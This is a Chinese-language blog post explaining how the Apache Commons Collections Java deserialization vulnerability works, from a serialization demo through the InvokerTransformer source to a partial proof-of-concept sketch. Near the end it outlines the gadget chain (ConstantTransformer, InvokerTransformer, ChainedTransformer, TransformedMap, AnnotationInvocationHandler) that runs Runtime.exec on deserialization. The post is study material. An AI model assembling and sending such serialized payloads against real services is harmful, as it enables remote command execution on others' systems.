java反序列化漏洞原理研习
2021-07-21 20:55
标签:common external 现在 字符 执行命令 temp 打印 map imp java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞。另外呢,组里多位大佬对反序列化漏洞都有颇深的研究,借此机会,努力学习,作为狼群中的哈士奇希望成功的继续伪装下去,不被识破,哈哈哈哈!!! 参考文档:感谢所有参考文献的作者: 1、https://www.cnblogs.com/bencakes/p/6139477.html 2、https://www.cnblogs.com/ssooking/p/5875215.html 3、https://www.cnblogs.com/xdp-gacl/p/3777987.html 一、Java的序列化与反序列化: 在这里我们直接自己定义一个类,然后对这个类的对象(一个实例)进行序列化和发序列化测试。 既然自己定义的类都可以了,那么默认的java存在的数据类型的实例当然也都可以啦~运行结果如下: 二、对java序列化的详解: 1、api定位: 2、实现Serializable和Externalizable接口的类才能序列化与反序列化。 3、java的反射机制: 三、反序列化的漏洞原理概述: 1、由于很多站点或者RMI仓库等接口处存在java的反序列化功能,攻击者可以通过构造特定的恶意对象序列化后的流,让目标反序列化,从而达到自己的恶意预期行为,包括命令执行,甚至getshell等等。 2、Apache Commons Collections 这是开源小组Apache研发的一个Collections收集器框架,提供诸如list、set、queue等功能对象。这个框架中有一个接口,其中有一个实现该接口的类可以通过调用java的反射机制来调用任意函数,这个接口类是InvokerTransformer。这个架构的广泛使用,也导致了java反序列化漏洞的大面积流行。 3、java执行系统命令: 简介: Runtime.getRuntime().exec("command_string"); 回显呢: Process process = Runtime.getRuntime().exec("command_string"); InputStream inputstream = process.getInputStream(); BufferReader reader = new BufferReader(new InputStreamReader(inputstream)); System.out.prinln(reader.readLine()); 把上面结合起来就是序列化的打法。 四、关于反射链 以前一直不理解反射链是什么定西,现在我们来看看接口源代码: 我们来理一理这一段: 开始: 可以看出来这个方法,属于一个对象,输出另外一个对象,完成了类型的转换。同时这个接口还可以串联完成一系列的转换,构成反射链。 Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个可以通过Java的反射机制来调用任意函数,叫做InvokerTransformer,代码如下: 只需要传入方法名、参数类型和参数,即可调用任意函数。 在这里,我们可以看到,先用ConstantTransformer()获取了Runtime类,接着反射调用getRuntime函数,再调用getRuntime的exec()函数,执行命令。依次调用关系为: Runtime --> getRuntime --> exec()。因此,我们要提前构造 ChainedTransformer链,它会按照我们设定的顺序依次调用Runtime, getRuntime,exec函数,进而执行命令。正式开始时,我们先构造一个TransformeMap实例,然后想办法修改它其中的数据,使其自动调用tansform()方法进行特定的变换(即我们之前设定好的) 五、poc原理分析: 参考大牛博客,给出一个原理解释知识点 不得不说上面大牛博客分析的大段的代码原理我基本都不懂,因为不是java程序员的我对此真是摸不着头脑,但是我们可以做如下总结: POC的思路: 分析大牛poc核心代码逻辑: java反序列化漏洞原理研习 标签:common external 现在 字符 执行命令 temp 打印 map imp 原文地址:https://www.cnblogs.com/mutudou/p/15029663.html 1 //引入必要的java包文件
2 import java.io.*;
3
4 //创建测试类,注意要继承Serializable接口
5 class serialdemo implements Serializable{
6 public static int number;
7 public serialdemo(int inputnum) {
8 this.number = inputnum;
9 }
10 }
11
12 //主类
13 public class test{
14 //测试主类
15 public static void main(String[] args) throws IOException, ClassNotFoundException {
16 //主函数入口
17 serialdemo object = new serialdemo(100);
18 FileOutputStream fileoutputstream = new FileOutputStream("serail.ser");//创建文件写入对象
19 ObjectOutputStream outputstream = new ObjectOutputStream(fileoutputstream);//创建类型序列化通道对象
20 outputstream.writeObject(object);//把类对象(实例)序列化进入文件
21 outputstream.close();
22 FileInputStream fileinputstream = new FileInputStream("serail.ser");//从文件读取对象
23 ObjectInputStream inputstream = new ObjectInputStream(fileinputstream);//对象反序列化
24 // 通过反序列化恢复对象obj
25 serialdemo object2 = (serialdemo)inputstream.readObject();
26 System.out.println("反序列化后的对象的值:");
27 System.out.println(object2.number);
28 inputstream.close();
29 }
30 }
1 └─[$]> java test
2 反序列化后的对象的值:
3 100
1 /*
2 java.io.ObjectOutputStream -> writeObject()
3 java.io.ObjectInputStream -> readObject()
4 序列化把对象序列化成字节流
5 反序列化读取字节流反序列化对象
6 */
/*
在java运行状态中
1.对于任何一个类,都能判断对象所属的类;
2.对于任何一个类,都能获取其所有的属性和方法;
3.对于任何一个对象,都能调用任意一个方法和属性;
*/
1 //命令执行函数
2 public void test() throws IOException, InterruptedException {
3 Process process = Runtime.getRuntime().exec("whoami");
4 InputStream inputstream = process.getInputStream();
5 BufferedReader reader = new BufferedReader(new InputStreamReader(inputstream));
6 process.waitFor();
7 if (process.exitValue() != 0) {
8 //说明命令执行失败
9 //可以进入到错误处理步骤中
10 }
11 //打印输出信息
12 String s = null;
13 while ((s = reader.readLine()) != null) {
14 System.out.println(s);
15 }
16 }
1 public class InvokerTransformer implements Transformer, Serializable {
2
3 ...
4
5 /*
6 Input参数为要进行反射的对象,
7 iMethodName,iParamTypes为调用的方法名称以及该方法的参数类型
8 iArgs为对应方法的参数
9 在invokeTransformer这个类的构造函数中我们可以发现,这三个参数均为可控参数
10 */
11 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
12 super();
13 iMethodName = methodName;
14 iParamTypes = paramTypes;
15 iArgs = args;
16 }
17
18 public Object transform(Object input) {
19 if (input == null) {
20 return null;
21 }
22 try {
23 Class cls = input.getClass();
24 Method method = cls.getMethod(iMethodName, iParamTypes);
25 return method.invoke(input, iArgs);
26
27 } catch (NoSuchMethodException ex) {
28 throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ does not exist");
29 } catch (IllegalAccessException ex) {
30 throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ cannot be accessed");
31 } catch (InvocationTargetException ex) {
32 throw new FunctorException("InvokerTransformer: The method ‘" + iMethodName + "‘ on ‘" + input.getClass() + "‘ threw an exception", ex);
33 }
34 }
35
36 }
1 ConstantTransformer
2 把一个对象转化为常量,并返回。
3
4 InvokerTransformer
5 通过反射,返回一个对象
6
7 ChainedTransformer
8 ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer
1 /*
2 1、java反序列化可以远程执行命令。
3 2、java执行命令用到Runtime.getRuntime().exec("whoami");
4 3、java在apache commons collections中存在InvokerTransoformer接口可以串联对对象进行转化,形成反射链。
5 4、ConstantTransformer可以把对象转换为常量返回。
6 5、ChainedTransformer为链式的Transformer,会挨个执行我们定义Transformer
7 6、AnnotationInvocationHandler类可以导致命令执行在readobject时候自动执行
8 */
1 /*
2 1)首先构造一个Map和一个能够执行代码的ChainedTransformer,
3 2)生成一个TransformedMap实例
4 3)实例化AnnotationInvocationHandler,并对其进行序列化,
5 4)当触发readObject()反序列化的时候,就能实现命令执行。
6 POC执行流程为 TransformedMap->AnnotationInvocationHandler.readObject()->setValue()- 漏洞成功触发
7 */
1 /*
2 核心逻辑表达式:
3 ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
4 主函数中:
5 1、定义一个要执行的命令字符串:String commandstring = "whoami";
6 2、定义一个执行逻辑:
7 Transformer[] transformers = new Transformer[] {
8 new ConstantTransformer(Runtime.class),
9 new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),
10 new InvokerTransformer("invoke",new Class[] {Object.class,Object[].class},new Object[] {null, null})
11 new InvokerTransformer("exec",new Class[] {String[].class},new Object[] {commandstring})
12 }
13 3、执行逻辑转化操作(ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作):
14 Transformer transformedChain = new ChainedTransformer(transformers);
15 4、后面是关于不关心的东西,写死即可:
16 Map
上一篇:C#实现两个时间相减的方法
下一篇:JAVA http 接口请求方式